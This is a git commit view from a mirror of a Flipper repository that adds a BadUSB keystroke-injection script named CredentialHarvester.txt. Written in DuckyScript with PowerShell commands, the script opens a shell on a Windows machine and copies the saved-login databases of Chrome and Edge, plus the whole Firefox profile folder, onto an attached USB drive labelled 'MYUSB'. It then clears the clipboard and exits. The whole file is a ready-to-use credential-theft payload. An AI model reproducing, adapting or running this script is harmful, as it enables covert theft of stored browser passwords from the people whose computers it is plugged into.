mirror of
https://github.com/UberGuidoZ/Flipper.git
synced 2024-12-22 06:20:12 +00:00
Create CredentialHarvester.txt
This commit is contained in:
parent
bfd20c8921
commit
fe1df5f6bf
53
BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt
Normal file
53
BadUSB/BadUSB-MarkCyber/HackStuff/CredentialHarvester.txt
Normal file
@ -0,0 +1,53 @@
|
||||
REM ##################################################################################################################
|
||||
REM ############## This script was created by github.com/markcyber ##############
|
||||
REM ############## This script requires a secondary USB named "MYUSB" to save credentials to ##############
|
||||
REM ############## The extracted data will require decryption ##############
|
||||
REM ##################################################################################################################
|
||||
REM Open PowerShell with elevated privileges
|
||||
DELAY 1000
|
||||
GUI r
|
||||
DELAY 500
|
||||
STRING powershell
|
||||
DELAY 500
|
||||
ENTER
|
||||
DELAY 1000
|
||||
REM Check if the USB drive exists
|
||||
STRING $usbDrive = Get-WmiObject Win32_Volume | ? { $_.Label -eq 'MYUSB' } | Select -ExpandProperty DriveLetter;
|
||||
STRING if ($usbDrive -ne $null) {
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING cd $usbDrive;
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING mkdir BrowserData;
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING cd BrowserData;
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Copy Chrome Login Data to USB
|
||||
STRING $chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data";
|
||||
STRING if (Test-Path $chromePath) { Copy-Item $chromePath "$usbDrive\BrowserData\ChromeLoginData"; }
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Copy Firefox Login Data to USB
|
||||
STRING $firefoxPath = "$env:APPDATA\Mozilla\Firefox\Profiles\";
|
||||
STRING if (Test-Path $firefoxPath) { Copy-Item $firefoxPath -Recurse "$usbDrive\BrowserData\FirefoxData"; }
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Copy Edge Login Data to USB
|
||||
STRING $edgePath = "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default\Login Data";
|
||||
STRING if (Test-Path $edgePath) { Copy-Item $edgePath "$usbDrive\BrowserData\EdgeLoginData"; }
|
||||
ENTER
|
||||
DELAY 500
|
||||
STRING }
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Clear the clipboard to remove any sensitive data (This is not necessary, unless you did something on target PC)
|
||||
STRING echo off | clip
|
||||
ENTER
|
||||
DELAY 500
|
||||
REM Close PowerShell
|
||||
STRING exit
|
||||
ENTER
|
||||
DELAY 500
|
Loading…
Reference in New Issue
Block a user